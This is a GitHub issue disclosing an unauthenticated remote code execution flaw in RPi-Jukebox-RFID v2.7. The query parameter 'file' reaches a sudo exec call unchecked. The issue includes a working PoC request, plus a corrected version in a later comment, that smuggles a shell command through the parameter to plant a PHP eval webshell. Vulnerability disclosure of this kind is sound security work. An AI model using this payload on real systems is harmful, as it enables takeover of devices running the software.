Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🐛 | RPi-Jukebox-RFID V2.7_RCE_2 #2397

Open
xjzzzxx opened this issue Jul 11, 2024 · 1 comment
Open

🐛 | RPi-Jukebox-RFID V2.7_RCE_2 #2397

xjzzzxx opened this issue Jul 11, 2024 · 1 comment
Labels
bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage

Comments

@xjzzzxx
Copy link

xjzzzxx commented Jul 11, 2024

Version

v2.7.0

Branch

released

OS

ubuntu 22

Pi model

unknown

Hardware

No response

What happened?

Hello,

I would like to report for a RCE vulnerability in RPi-Jukebox-RFID-v2.7(No permissions required)

Analysis

The path of the vulnerability: htdocs\api\playlist\appendFileToPlaylist.php

# htdocs\api\playlist\appendFileToPlaylist.php
$file = $_GET["file"]; // Line 26(Source)
if ($file !== "") {
    print "Playing file " . $file;
    execScriptWithoutCheck("playout_controls.sh -c=playlistappend -v='$file'");		// Line 29(Sink)
}
# htdocs\api\common.php
exec("sudo ".$absoluteCommand); // Line 25 (Sink)

Source from Line 26 ($_GET['file']).

And then there are no check point.

Finally, the source(tainted) pass to exec("sudo ".$absoluteCommand);(Line 25 in htdocs\api\common.php) without another check.

Poc

GET /htdocs/api/playlist/appendFileToPlaylist.php?file=hello%27+%3b+echo+%22%3c%3fphp+%40eval(%24_POST%5b%27pass%27%5d)+%3f%3e%22++%3e+.%2fshell2.php++%3b+echo+%27hello

Here is the version without url encoding for ease of understanding:

GET /htdocs/api/playlist/appendFileToPlaylist.php?file=hello' ; echo "<?php @eval($_POST['pass']) ?>" > ./shell2.php ; echo 'hello

Manual verification

3

4

The attacker can then easily connect to this webshell(/htdocs/api/playlist/shell2.php)

Logs

No response

Configuration

No response

More info

No response

@xjzzzxx xjzzzxx added bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage labels Jul 11, 2024
@xjzzzxx
Copy link
Author

xjzzzxx commented Jul 12, 2024

I'm sorry for the issue with the PoC I wrote earlier. I forgot to escape @, which resulted in the generated webshell being unusable. Here is the correct PoC:

Poc_fixed

GET /htdocs/api/playlist/appendFileToPlaylist.php?file=hello%27+%3b+echo+%22%3c%3fphp+%40eval(%5c%24_POST%5b%27shell2%27%5d)+%3f%3e%22++%3e+.%2fshell2.php++%3b+echo+%27hello

Here is Data without url encoding for ease of understanding:

GET /htdocs/api/playlist/appendFileToPlaylist.php?file=hello' ; echo "<?php @eval(\$_POST['shell2']) ?>" > ./shell2.php ; echo 'hello

Manual verification

13

14

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug legacy_v2 Issues, discussions and PRs related to Version 2.x needs triage
Projects
None yet
Development

No branches or pull requests

1 participant